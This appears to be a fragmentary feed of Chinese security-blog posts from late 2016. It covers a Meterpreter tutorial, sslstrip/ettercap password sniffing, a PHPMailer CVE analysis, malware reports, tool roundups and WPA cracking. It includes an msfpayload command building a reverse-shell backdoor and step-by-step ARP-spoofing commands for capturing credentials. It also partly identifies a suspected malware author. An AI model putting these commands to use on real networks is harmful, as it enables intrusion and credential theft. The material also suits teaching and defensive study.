msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.130 LPORT=8080 X > ～/Desktop/backdoor.exe

反向连接shell,使用起来很稳定。需要设置LHOST。

bind_tcp

path : payload/windows/meterpreter/bind_tcp

正向连接shell，因为在内网跨网段时无法连接到attack的机器，所以在内网中经常会使用，不需要设置LHOST。

reverse_http/https

path: payload/windows/meterpreter/reverse_http/https

通过http/https的方式反向连接，在网速慢的情况下不稳定，在某博客上看到https如果反弹没有收到数据，可以将监听端口换成443试试。

0x03 基本命令

常用的有

background：将当前会话放置后台
load/use：加载模块
Interact：切换进一个信道
migrate：迁移进程
run：执行一个已有的模块，这里要说的是输入run后按两下tab，会列出所有的已有的脚本，常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等。
Resource：执行一个已有的rc脚本。

0x04 常用扩展库介绍

meterpreter中不仅有基本命令还有很多扩展库，load/use之后再输入help，就可以看到关于这个模块的命令说明了。

stdapi command

文件相关

stdapi中有关于文件读写，上传下载，目录切换，截屏，摄像头，键盘记录，和系统相关的命令。常用的当然就是文件操作及网络有关的命令。通常我会用upload和download进行文件上传和下载，注意在meterpreter中也可以切换目录，当然也可以编辑文件。所以就不用运行shell再用echo写。

使用edit命令时需要注意编辑的是一个存在的文件，edit不能新建文件。输入edit + 文件后就会调用vi编辑了。

利用sslstrip和ettercap突破ssl嗅探密码

Mon, 23 Jan 2017 07:31:07 +0000

本教程不是原创，是使用黑帽大会上Moxie Marlinspike发布的一款叫sslstrip的工具，配合ettercap进行arp欺骗，可以突破经过ssl加密的协议(如https等，一种被动使用https协议的会受到攻击），进行局域网arp嗅探获得口令等信息。 准备工作： 下载sslstrip:

wget http://www.thoughtcrime.org/software/sslstrip-0.7.tar.gz

访问这里获得更多帮助:

http://www.thoughtcrime.org/software/sslstrip/

安装： 切换到下载目录执行：

python setup.py install

开始之前先要打开 ip_forword转发，否而会出现一些错误，感兴趣的可以查找相关资料并自行测试…纸上得来终觉浅，屏幕上就更浅了，实践出真知

echo “1”>/proc/sys/net/ipv4/ip_forward

使用Iptables过滤数据包

iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 10000

通过iptables 把所有http数据导入到10000端口，我们用sslstrip监听10000端口，并得到我们想要的数据

参数讲解:

-t:命令要操作匹配的表（net这个表表示被查询时遇到了新差生的连接包）
Net表有三个内建的链构成 PREROUTING(修改到来的包)、OUTPUT（修改路由之前本地的包）、POSTROUTING(修改准备出去的包)
-A表示在选择的链后加入更多选项
–p指被过滤包的协议
–destination-port 80指被过滤包的目的端口是80 -j REDIRECT –to-port 10000 将80端口的数据跳转到指定端口传输

然后我们使用sslstrip监听10000端口

sslstrip -l 10000

利用ettercap进行arp欺骗

前面一些文章已经讲过了关于DNS和ARP中间人攻击的例子，大家可以翻出来看看。

ettercap使用方法，参数详解：

-P 使用插件
-T 使用基于文本界面
-q 启动安静模式（不回显）
-M 启动ARP欺骗攻击

// // 代表欺骗的子网网络，如果网络中有多个主机的话，可以在第一个//中加上目标主机，第二个//中加上网关路由ip。

此外我们可以综合这些参数使用。

ettercap –T –q –M arp:remote /192.168.1.101/ //

Ettercap默认就会过滤密码，我们也不需要指定过滤脚本

PHPMailer 命令执行漏洞（CVE-2016-10033）分析

Tue, 27 Dec 2016 14:42:10 +0000

来源： https://blog.chaitin.cn/phpmailer-cve-2016-10033/

作者： phithon@长亭科技

PHPMailer是一个基于PHP语言的邮件发送组件，被广泛运用于诸如WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla!等用户量巨大的应用与框架中。

CVE-2016-10033是PHPMailer中存在的高危安全漏洞，攻击者只需巧妙地构造出一个恶意邮箱地址，即可写入任意文件，造成远程命令执行的危害。

对比一下新老版本： https://github.com/PHPMailer/PHPMailer/compare/v5.2.17…master 其实答案呼之欲出了——和Roundcube的RCE类似，mail函数的第五个参数，传命令参数的地方没有进行转义。

回顾一下当时Roundcube的漏洞：因为mail函数最终是调用的系统的sendmail进行邮件发送，而sendmail支持-X参数，通过这个参数可以将日志写入指定文件。可以写文件，当然就可以写shell，造成RCE了。

详细分析一下，下载一份源码，并切换到5.2.17版本：

git clone https://github.com/PHPMailer/PHPMailer
cd PHPMailer
git checkout -b CVE-2016-10033 v5.2.17

单步调试可以发现确实和之前Roundcube出现的漏洞（ http://wiki.ioin.in/search?word=roundcube ）一样，是传给mail函数的第五个参数没有正确过滤：

但上图是错的，因为这里是不支持bash的一些语法的，也就是说反引号、 ${IFS} 都是无效的。但实际上PHPMailer在调用mailPassthru前会对email进行一定的检测，这导致我们无法构造出像Roundcube那些可以直接写文件的payload，检测部分的代码如下：

 /**
 * Check that a string looks like an email address.
 * @param string $address The email address to check
 * @param string|callable $patternselect A selector for the validation pattern to use :
 * * `auto` Pick best pattern automatically;
 * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
 * * `pcre` Use old PCRE implementation;
 * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
 * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
 * * `noregex` Don't use a regex: super fast, really dumb.
 * Alternatively you may pass in a callable to inject your own validator, for example:
 * PHPMailer::validateAddress('user@example.com', function($address) {
 * return (strpos($address, '@') !== false);
 * });
 * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
 * @return boolean
 * @static
 * @access public
 */
 public static function validateAddress($address, $patternselect = null)
 {
 if (is_null($patternselect)) {
 $patternselect = self::$validator;
 }
 if (is_callable($patternselect)) {
 return call_user_func($patternselect, $address);
 }
 //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
 if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
 return false;
 }
 if (!$patternselect or $patternselect == 'auto') {
 //Check this constant first so it works when extension_loaded() is disabled by safe mode
 //Constant was added in PHP 5.2.4
 if (defined('PCRE_VERSION')) {
 //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
 $patternselect = 'pcre8';
 } else {
 $patternselect = 'pcre';
 }
 } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
 //Fall back to older PCRE
 $patternselect = 'pcre';
 } else {
 //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
 if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
 $patternselect = 'php';
 } else {
 $patternselect = 'noregex';
 }
 }
 }
 switch ($patternselect) {
 case 'pcre8':
 /**
 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
 * @link http://squiloople.com/2009/12/20/email-address-validation/
 * @copyright 2009-2010 Michael Rushton
 * Feel free to use and redistribute this code. But please keep this copyright notice.
 */
 return (boolean)preg_match(
 '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
 '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
 '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
 '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
 '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
 '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
 '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
 '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
 '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
 $address
 );
 case 'pcre':
 //An older regex that doesn't need a recent PCRE
 return (boolean)preg_match(
 '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
 '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
 '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
 '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
 '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
 '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
 '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
 '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
 '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
 '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
 $address
 );
 case 'html5':
 /**
 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
 */
 return (boolean)preg_match(
 '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
 '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
 $address
 );
 case 'noregex':
 //No PCRE! Do something _very_ approximate!
 //Check the address is 3 chars or longer and contains an @ that's not the first or last char
 return (strlen($address) >= 3
 and strpos($address, '@') >= 1
 and strpos($address, '@') != strlen($address) - 1);
 case 'php':
 default:
 return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
 }
 }

其他的地方我就不分析了，只分析上面这个函数，这个函数有这个特点

移动平台流量黑产研究——色情播放器类恶意软件产业链

Tue, 27 Dec 2016 13:26:35 +0000

摘要

360烽火实验室8月底发现了三组异常流量曲线，流量曲线呈现存活时间短，连续3天此消彼长的态势，访问量集中最高峰值达到近2万次。
大量可疑下载链接数指向的文件均为名称具有诱惑性、图标暴露的色情播放器类恶意软件，并且链接都包含固定的“list/日期”格式。
可疑下载链接均来自重定向跳转，流量数据包中的Set-Cookie的值都有一个十分明显的固定特征“cdm=http”。
抽取相似网络流量特征看，表现出IP层、跳转层、下载层的三层控制分发模型。
通过对可疑域名的的追踪，发现了管理后台、分发的色情播放器类恶意软件以及网站使用的伪装手法。
色情播放器类恶意软件产业链从制作上看，包括恶意模块集成、免杀、视频教程、申请支付ID。
从传播上看，投放方式包括，网页诱导、网页挂马、广告推广、APP捆绑、论坛和热门影视。
从传播量大的原因看，其中一个是因为在不同时间内，同一链接可以灵活控制重定向到多个下载链接，并且通过检查浏览器UA标识来逃避审查。
从产业链规模看，2016年全年共捕获色情播放器类恶意软件超过800万；色情链接一周的访问流量高达830万余次。
开发者、广告主和网站主是产业链中的主要角色，他们各自拥有不同的技能与资源。
广告联盟作为色情播放器类恶意软件传播中的联系平台，并不是相对独立，而是多个广告联盟呈现上下游的协同合作，是传播量范围大的另一个原因。
以色情播放器类恶意软件产业链视角看移动平台流量黑产的趋势，主要表现在传播手段、变现方式、技术特点、攻击对象和资源实力五个方面。
通过在政策、社会、技术多层面协同联动，有力打击违法犯罪行为，切实净化网络文化环境。

关键词：色情播放器、流量黑产、移动平台、恶意软件

第一章冰山一角

随着互联网的迅猛发展和规模不断扩大，计算机网络不仅在工业、银行、科研教育等各个领域发挥重要作用，而且与我们的日常出行、购物、娱乐、社交等生活密不可分。网络在给我们带来便利的同时，也让一些不法分子嗅到了金钱的味道，产生了诸如钓鱼网站、DDOS攻击、DNS劫持、网络流量作弊、恶意程序分发等等黑色产业链。

一、异常流量 网络流量监测作为计算机网络的基础部分，在互联网大数据下通过对流量曲线的检测和分析，可以在第一时间获取特定时期内的网络负载情况、负载变化情况，直观的评估网络环境的健康程度，对于发现网络流量中的异常行为，可以提早发现问题和网络威胁，组织防范或恢复措施，避免带来严重的问题和损失。

360烽火实验室8月底发现了三组异常流量曲线，流量曲线呈现存活时间短，连续3天此消彼长的态势，访问量集中最高峰值达到近2万次。

图1.1 异常流量曲线图

二、可疑链接 我们通过持续关注和分析，发现了更多（只列举其中10个）存在相似行为的网络主机，并且发现了相似的URL链接。

图1.2 可疑URL

这些可疑链接指向的文件均为名称具有诱惑性、图标暴露的色情播放器类恶意软件，并且链接都包含固定的“list/日期”格式。

三、链接重定向 链接重定向[1]就是把一个URL重定向到另一个URL上去。重定向即是把一个目录或者文件的访问请求转发至另外一个目录或者文件，当用户发出相应的访问请求时将自动跳转到指定的位置，常见的重定向有301（永久重定向）及302（暂时重定向）两种。

我们在溯源可疑下载链接的来源时发现，这些可疑链接都是在客户端请求某个链接时经过HTTP协议302码暂时重定向指向的链接。

图1.3 重定向示意图

每个独立的下载链接之间看似不相干，但实际上都是存在相互关联的。经过一段时间的观察，我们发现客户端在不同时间内请求同一个链接时，返回的重定向页链接是不同的，并且从抽取的流量包中还发现这些网络流量中所返回的Set-Cookie的值都有一个十分明显的固定特征“cdm=http”。这种链接重定向跳转机制导致出现了上面提到的大量可疑下载链接。

图1.4 请求同一链接重定向到不同的地址

四、分发模式 (一) 分层

通过可疑下载链接的表现形式、利用的HTTP协议302码暂时重定向特性以及流量包中的固定特征“cdm=http”，我们关联出更多网络主机间的关系

图1.5 更多网络主机关系

它们之间关系表现为分层结构主要分为三层，中间层向上指向同一IP，向下指向多个下载链接，我们将上层命名为“IP层”，中层命名为“跳转层”，下层命名为“下载层”。

图1.6 三层结构

(二) 控制模型

从上面的实例分析，我们抽象出一个三层控制模型，通过控制模型实现对色情播放器类恶意软件的传播。

图1.7 三层控制模型

下载层：表现为链接每天频繁地变化，出现和消亡的周期短，短时间内访问集中爆发；
跳转层：表现为采用HTTP协议302码暂时重定向，灵活切换控制下载层，与下载层相比数量相对收敛；
IP层：表现为对跳转层的集中控制管理，与下载层和跳转层相比更为收敛，变化程度小。

第二章始作俑者

色情播放器类恶意软件数量近几年呈现爆发式增长，软件总量达到千万量级，时刻威胁着用户手机及财产安全。“天下熙熙，皆为利来；天下攘攘，皆为利往”，这类恶意软件之所以“兴起”，它的背后一定潜伏着巨大的利益与诱惑。我们对色情播放器类恶意软件的来源、危害和传播方式进行了长期关注，揭开了其背后的黑色产业链。

一、重要线索 我们通过网络流量的分析，在“mppay.net”域名下，发现了一个APK包的渠道分发状态后台。后台页面清楚得展示出400多个渠道编号、更新日期时间和对应的下载链接。

图2.1分发后台

页面分发的软件全部为色情播放器类软件归属与Trojan.Dropper.Android.FakeDebuggerd.B同一恶意家族，并且分发的软件每天都在更新，我们选取了一段时间内下载的软件进行了统计，其中包括“91爱妹视频”、“成人i影院”、“91爱色院线”等等。

Linux/NyaDrop - a linux MIPS IoT bad news

Tue, 27 Dec 2016 11:08:33 +0000

Background

Since the end of September 2016 I received a new type of attacks that aims the MIPS platform I provided to detect IoT attacks. I will call this threat as new ELF Linux/NyaDrop as per the name used by threat actor himself, for the “nyadrop” binary that is dropped in the compromised system.

This is not the “really” first time we’re seeing this threat actually, in this year, some small events was detected on having these attacks which I ignored for some reasons, and on May 22th, me and hFiref0x of KernelMode was in a convo regarding to the threat which was detected. It was obviously the same threat (proof is as per picture below, thanks to hFiref0x for the ping that time).

分享一些支持企业安全工作的免费工具

Tue, 27 Dec 2016 06:49:56 +0000

其实网上有很多非常实用的免费安全工具，如果要全部介绍这些工具的话，可能一天一夜的时间都不够。虽然现在也有很多公司会通过试用版软件来“勾引”用户去购买他们完整功能的产品，但是目前市面上仍然有很多功能强大的免费安全工具，包括情报工具、在软件开发阶段保证安全性的工具、渗透测试工具和取证工具等等。

工具简介

威胁情报工具包括AlienVault的Open Threat Exchange（OTX），这个工具实际上是一个计算机安全平台，它可以收集并共享互联网威胁情报，类似的平台还有Hailataxii和Cymon.io等等。除此之外，我们还有很多静态应用程序安全测试（SAST）工具可供选择，开发人员可以用这些工具来测试采用不同编程语言（C/C++、Ruby on Rails或Python等）开发的软件。就渗透测试而言，我们通常选择使用Nmap安全扫描工具和Wireshark网络协议分析工具。专门的分析取证产品包括GRR远程取证框架、Autopsy和SleuthKit等，这些工具可以对硬盘驱动器和智能手机进行取证分析，而Volatility Foundation的开源框架则可以对系统内存进行取证分析。

威胁情报工具

安全厂商可以对威胁情报进行分析，并为相应的威胁信息创建签名，而他们的安全检测工具就可以利用这些签名数据来检测安全威胁了。AlienVault的 Open Threat Exchange（OTX）平台可以收集并与社区共享互联网威胁情报信息，这个项目目前总共有来自140个国家的47000多名参与者，这些参与者每天都会贡献超过4百万个威胁情报标识。当新型威胁出现时，这种形式的资源共享可以帮助企业和安全厂商快速地对这些安全威胁进行识别和响应。

CyTech Services的首席执行官Ben Cotton（注册信息系统安全专家，CISSP）也表示：

“AlienVault的OTX平台在共享威胁情报标识（IoC）方面做得非常的好。安全产品可以通过OTX所提供的IoC来增强自身的检测能力，并更好地检测新型的安全威胁。”

eSentire 的 Cymon.io 同样也提供了大量免费的威胁情报信息，根据其官网所提供的数据，当社区成员发现了新的恶意活动或病毒感染源，他们便会立刻将相应的标识添加到Cymon.io的数据库中。

Cymon每天都会从180个不同的领域来获取安全威胁情报信息，这些领域包括公共产业、政府机构、以及商业威胁情报来源（例如VirusTotal、Phishtank、blacklists以及各大反病毒厂商的安全报告）等等。Cymon可以利用这些威胁情报来追踪恶意软件、网络钓鱼、僵尸网络、以及垃圾邮件等恶意活动，Cymon的数据库每天都会新增超过2万个独立的IP地址，到目前为止，Cymon总共有超过6百万个登陆IP，并且记录了超过3370万次安全事件。

Cotton还表示：

“在我看来，除了OTX之外， Hailataxii.com 也是一个非常棒的开源威胁情报资源库。但Cymon.io同样做得非常好，我认为作为一个威胁情报共享平台来说，它与AlienVault的OTX和Hailataxii一样的优秀。”

在软件开发阶段增强安全性的工具

现在也有很多静态应用程序安全测试（SAST）工具可供广大开发人员使用，开发人员可以在软件的编码阶段利用这些工具来测试自己所编写的软件安全性是否到位。Cigital的资深安全顾问Meera Subbarao认为：“目前世界上最为流行的JavaSAST工具就是 FindBugs 和 PMD 了。这些SAST工具大多都可以以插件的形式添加到开发人员所使用的IDE内，这样就可以更好地帮助他们在开发应用程序的过程中保证编码的安全。当然了，除了针对Java的SAST工具之外，也有很多专为Python、Ruby on Rails、C/C++、JavaScript、以及.NET等编程语言的SAST工具。”

专为渗透测试／渗透测试人员而生的工具

通过对产品进行渗透测试，安全人员可以赶在黑客之前发现产品中存在的安全漏洞。安全专家使用最广泛的就是开源的 Nmap 安全扫描器了。Nmap由Gordon Lyon开发，它是一款专业的渗透测试工具，安全研究人员可以使用Nmap来扫描目标主机端口并定位网络漏洞。Cotton认为：“如果要进行网络漏洞分析的话，在所有的免费开源扫描工具中Nmap的效率是最高的。唯一不足的是，虽然Nmap可以扫描大型网络，但是它却没有提供与安全事件响应有关的功能。”

Wireshark 是一款得到了广泛使用的网络协议分析工具，它同样是一款免费的渗透测试工具。该软件最初由GeraldCombs负责开发，目前由Riverbed负责维护。Cotton表示：“Wireshark可能是目前最好的网络数据包嗅探工具了。但是，Wireshark并不支持扫描文件大小超过100MB的数据包。”

分析取证工具

企业可以利用取证工具来调查过去所发生的或正在发生的安全事件。Google的GRR远程取证框架（免费，开源）提供了实时事件响应服务，我们可以通过GRR的python代理来与GRR的python服务器进行实时交互来获取这项服务。你可以在Windows、Linux、以及macOS系统中使用GRR代理，并对系统内存数据进行取证和分析。同样的，虽然它是一款非常优秀的工具，但是当GRR用于企业环境中时，其扩展性方面的问题就会暴露出来。Cotton认为：“一般来说，我们只会用GRR来处理十台左右的设备。”

通常情况下，我们会拿多种工具来配合使用。取证工具Autopsy和SleuthKit可以对计算机硬盘、智能手机、以及磁盘镜像进行分析，该产品支持Windows、Linux、以及macOS系统。Cotton说到：“这些工具只能帮助我们对十台以下的电脑进行分析，而且Autopsy和SleuthKit同样无法有效地处理大型网络中的问题。”

还有一款不得不提的内存分析工具，即VolatilityFoundation的开源框架。这款分析取证工具可以通过收集目标主机RAM中的数据来对正在运行中的系统进行剖析。它允许你从Windows系统中收集内存数据，并导出进程、开放端口、以及网络链接相关的数据，所以它可以帮助我们识别内存中正在运行的恶意软件。

Cotton解释称：

“我强烈推荐VolatilityFoundation的这款内存分析开源框架。但它的不足之处在于，当你需要开始分析数据之前，你需要创建当前的内存镜像，这样你才可以导出内存数据，并使用Volatility来对目标主机当前的RAM数据进行分析。”

这些免费的安全软件仍有很长的路要走

本文所列举出的免费工具几乎是每一位安全研究人员都使用过的，不仅是因为这些工具在开源软件项目中都是佼佼者，而且这些工具是全世界任何一个地方的人都可以免费获取和使用的。你可以使用这些工具来暂时填补企业中的安全空缺，并尽你所能地将组织或自身的安全做到你所能实现的高度。

\ 参考来源： csoonline，FB小编Alpha_h4ck编译，转载请注明来自 FreeBuf.COM*

KALI LINUX安装Metasploitable 3

Mon, 26 Dec 2016 14:18:21 +0000

1、安装virtualbox

virtualbox安装的姿势很多，kali之前的版本是可以通过apt-get install virtualbox来安装。

或者去官方网站下载virtualbox stretch版本，官方网站：https://www.virtualbox.org/wiki/Linux_Downloads，

wget http://download.virtualbox.org/virtualbox/5.1.10/virtualbox-5.1_5.1.10-112026 ~~Debian~~stretch_amd64.deb

下载完成以后，通过dpkg安装：

dpkg -i virtualbox-5.1_5.1.2-108956~~Debian~~stretch_i386.deb

如果有缺少依赖文件就使用下面命令补上去：apt-get -f install

运行 sudo /sbin/vboxconfig，检查是否缺少内核文件，然后根据提示安装内核文件，如：apt-get install linux-headers-amd64

2、安装packer

root@kali:/# apt-get install packer

3、安装vagrant

wget https://releases.hashicorp.com/vagrant/1.9.1/vagrant_1.9.1_x86_64.deb

dpkg -i vagrant_1.9.1_x86_64.deb

4、执行 build_win2008.sh

给sh文件加上执行权限：chmod +x build_win2008.sh，并运行它。

在Waiting for SSH to become available是有点慢，耐心等待！这时打开VirtualBox管理器可以看到预览中正在创建虚拟机。当虚拟机安装完之后，安装脚本会自动通过SSH连入虚拟机并进行各种漏洞设置。

build_win2008.sh 执行结束后会提示你执行vagrant up来启动虚拟机配置：

5、执行vagrant up

第一次执行vagrant up会往虚拟机中安装各种软件，和配置虚拟机中的漏洞。

可以把这些用于配置漏洞环境的文件用迅雷下载好，再丢虚拟机里面安装，可以节省很多时间。

http://download.oracle.com/otn-pub/java/jdk/8u111-b14/jdk-8u111-windows-x64.exe http://download.oracle.com/otn-pub/java/jdk/8u112-b15/jdk-8u112-windows-x64.exe http://download.oracle.com/otn-pub/java/jdk/8u111-b14/jre-8u111-windows-x64.exe https://download.microsoft.com/download/5/D/8/5D8C65CB-C849-4025-8E95-C3966CAFD8AE/vcredist_x64.exe http://archive.apache.org/dist/tomcat/tomcat-8/v8.0.33/bin/apache-tomcat-8.0.33-windows-x64.zip https://download.microsoft.com/download/5/D/8/5D8C65CB-C849-4025-8E95-C3966CAFD8AE/vcredist_x86.exe http://download.java.net/glassfish/4.0/release/glassfish-4.0.zip

wampserver2.2.d-x64.exe :

http://pan.baidu.com/share/link?shareid=1406529211&uk=1010090726&fid=359162040528870

……

6、使用虚拟机

在上面第一次执行完vagrant up之后就可以正常使用虚拟机了，后面也不用每次都执行vagrant up，直接通过VirtualBox来打开就可以了。

Aircrack-ng 扩展 : Marfil

Mon, 19 Dec 2016 12:49:14 +0000

Marfil 是 Aircrack-ng 套件的一个扩展工具，被用于 WiFi 网络安全的评估测试。利用它，我们可以实现在多台计算机之间，进行分布式的爆破任务。

我们都知道 Aircrack-ng 套件，为我们提供了许多用于无线破解的工具。其中 aircrack-ng 工具，就是一个专门用于 802.11 WEP 和 WPA / WPA2-PSK 密钥破解的程序。由于无线的保护力度不断加大，现在市面上大多数无线都采用 WPA / WPA2-PSK 的方式进行加密。因此我们想要破解密码，则必须使用字典或单词列表。这些字典越大，则我们所需的破解时间就越长。这还得看你的硬件配置如何，如果配置较低，破解任务可能需要几天或几个星期不等。或许此时你的旁边有一些额外的硬件设备，原本可以帮你共同来完成任务。但你无法使用 aircrack-ng 让他们之间实现分布式破解。那么你只能选择其中一个速度较快的设备，而白白浪费了另外的破解资源。Marfil 就是为了解决这个困扰，而被开发出来的。

Marfil 是一个基于 php 语言开发的工具，它能在不同节点之间实现分布式破解。它的实现原理也非常简单：将原本非常大的字典进行拆分，并将其分布在其余节点上。而不是像原本那样，只使用一个节点来破解单个 .cap 文件。过程如下：

1.在服务器节点中配置使用字典。

2.客户端节点向服务器发送破解请求。（包括.cap文件和目标网络的 BSSID）

3.客户端请求服务器开始工作。

4.开始工作后，服务器向客户端响应 .cap 文件和 BSSID 以及字典片段。

5.客户端自行执行破解，并在完成后返回结果。

6.服务器根据结果更新破解请求状态。

7.最终，.cap 文件将针所有未成功，或找到密码部分的字典进行处理。

Aircrack-ng 扩展要求

1.aircrack-ng 套件

2.PHP >= 5.5.9

3.PHP5 SQLite 模块（ 只有服务器端需要）

4.Composer （ 依赖管理工具，需要时可安装）

Marfil 目前仅在 Linux 系统上进行了测试。但它的使用方式及工具，都是相对独立于平台的。因此，它也应该能在 Windows 或 Mac上工作。

Aircrack-ng 扩展: Marfil 设置

初始设置和字典配置

1.下载最新的发行版 Marfil 文件。

远控木马Dendoroid.B分析报告

Wed, 14 Dec 2016 07:19:19 +0000

近期，360团队截获了一款功能强大的专业间谍软件，它可以通过PC端远程控制中招用户的手机，控制指令高达二十多种，窃取用户手机通讯录，短信，照片及其它重要隐私数据。这个远控木马与去年知名的Android.Dendoroid木马家族手段非常相似，所以我们将其命名为Android.Dendoroid.B。 一、木马Android受控端恶意行为分析 1.释放文件，隐藏图标，启动恶意服务

Android.Dendoroid.B启动后会根据系统版本释放自身Assets目录下的testv7或testv5文件到/data/data/{packagename}目录下重命名为test；申请Root权限，释放su后门文件ssu到/system/bin目录下。隐藏自身图标，运行test文件：

test为ELF文件，主要功能为通过命令行的方式启动恶意服务WorkServer：

2.频繁结束安全软件进程

我们发现该木马在各处重要的恶意行为节点上频繁地结束国内主流安全软件进程，破坏安全软件正常运行，木马的自我保护给用户手机带来更大安全风险：

能够结束以下安全软件：

3.通话过程中自动录音 通过监控电话状态改变，来实现通话录音，每当被控手机来电时，木马会自动开启录音功能，并保存录音文件： 4.通过联网获取指令的方式实现远程控制

通过向中招手机发送不同的指令，以达到相应的行为控制。指令名称、功能及向PC端返回的响应如下表：

5.暂未实现的其它功能

木马受控端除了以上这些功能，我们还在代码中发现了解密微信聊天记录的部分代码，以及通过短信指令远程控制的代码，但该部分代码未被调用：

二、FTP服务器分析

从上面的指令列表中，可以发现隐私数据大部分都被上传到了病毒作者的FTP服务器，地址为121.199.2*.***，用户名和密码为root，登录进去后，FTP中的文件列表如下：

在服务器中我们发现并梳理了以下几个重要的文件，其中一些文件是已经从用被监控手机中实际上传的用户隐私：

其中bf.zip中是一个工程名为“SimpleServer”的Java代码，我们通过分析这个工程代码发现其主要功能是为了解析PC主控端与手机APK受控端之间的通信，关系如图：

解析Android受控端发送的指令的代码：

解析PC主控端发送指令的代码：

另一个文件“muma.rar”以“木马”拼音命名不得不引起我们的关注，我们发现这个里面有大量.php文件并且发现了下面这个图片，由此可以看出这正是去年我们播报过的Android.Dendoroid的源码，这也是我们将该木马命名为Android.Dendoroid.B的另一个原因。

三、木马PC主控端分析

FTP上的PE文件MySocketServer.exe是木马Android.Dendoroid.B的主控端，主控端用于发送远控指令和接收受控端返回的隐私信息。

我们在实际验证中点击了联系人按钮，很快返回了中招用户手机中的联系人列表：

另外，我们还在该软件上发现了一个网址 http://www.yunkong8.com/ ，该网址显示是一个专业的监控类软件售卖的网站，软件功能页面中介绍可以用手机或者使用其他电脑浏览网页来远控指定的PC客户端，网站中没有提到可以通过PC端远控手机端，我们猜测这有可能是未公开的软件功能或是定制版本。

四、感染用户 根据360互联网安全中心数据显示，最近两个月里有若干用户感染了该木马，地区包括：蚌埠、荆州、武汉、海口。 五、关于病毒作者

从受控端样本代码中发现，我们还在一个未调用的Mail类中，发现了一个QQ邮箱：84777****@qq.com，该类无任何调用，通过360全量样本的大数据的计算回查，发现该QQ邮箱曾用在了多个恶意样本中，而这些样本具有相同的Mail类并能够被正常调用。因此可以得出，该木马是经过了不断演变进化的，历史上曾经使用邮件的方式窃取用户隐私，而当前已经演变成使用FTP窃取回传隐私，回传的内容更加丰富，方式更加隐蔽

针对此qq号我们进行了追寻，发现是来自四川泸州昵称为“老A”的程序员。

通过进一步追踪，定位到了“老A”的具体信息：

杨**（常用昵称：lzyyf，老A）

2010级泸州二中

2013年9月至2017年9月，就读韩国蔚山大学

曾经使用另一QQ号：139*******，并曾经于2014年初在多个论坛中扩散类似木马

在他的微博中也多次发布木马信息：

